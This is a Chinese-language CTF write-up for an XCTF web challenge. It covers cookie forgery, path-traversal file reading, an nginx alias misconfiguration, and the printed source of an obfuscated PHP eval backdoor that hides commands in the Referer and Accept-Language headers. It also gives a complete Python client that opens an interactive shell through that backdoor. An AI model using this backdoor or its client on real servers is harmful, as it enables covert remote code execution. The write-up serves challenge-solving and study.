平台:https://adworld.xctf.org.cn/
打开是个登录框,但登录不了,扫目录发现robots.txt
在这里插入图片描述
hint.php
在这里插入图片描述
Hack.php弹窗需要登录但抓包发现cookie处有个isLogin=0,抓包修改为1进入页面,同样手动修改cookie处isLogin为1使得不再跳转回登录页面
在这里插入图片描述
url可能存在文件包含
在这里插入图片描述
构造admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=读取hint.php中的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}

include /var/www/nginx[.]conf;
}<!DOCTYPE html>

这里涉及到了知识盲区
nginx中root和alias都可以定义在location模块中,都是用来指定请求资源的真实路径。 但root中真实的路径是root指定的值加上location指定的值 ,而alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是 alias 指定的路径 。
举个例子

1
2
3
location /blacknight/ {
root /data/static;
}

假设我们访问:http://localhost:80/blacknight/test.html
root的实际真实路径是:http://localhost:80/data/static/blacknight/test.html

1
2
3
location /blacknight/ {
alias /data/static;
}

假设我们访问:http://localhost:80/blacknight/test.html
alias的实际真实路径是:http://localhost:80/data/static/test.html
这里我们访问web-img../直接可以访问到根目录
在这里插入图片描述
在www目录下找到Hack.php.bak,应该是被混淆了
在这里插入图片描述
输出$f得代码
在这里插入图片描述
整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

参考一个PHP混淆后门的分析
直接拿的脚本,修改下参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result

def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result

def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result

def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result


def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:43429/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)

# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)

# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')

shell拿flag
在这里插入图片描述
又是无情靠wp过活的一天~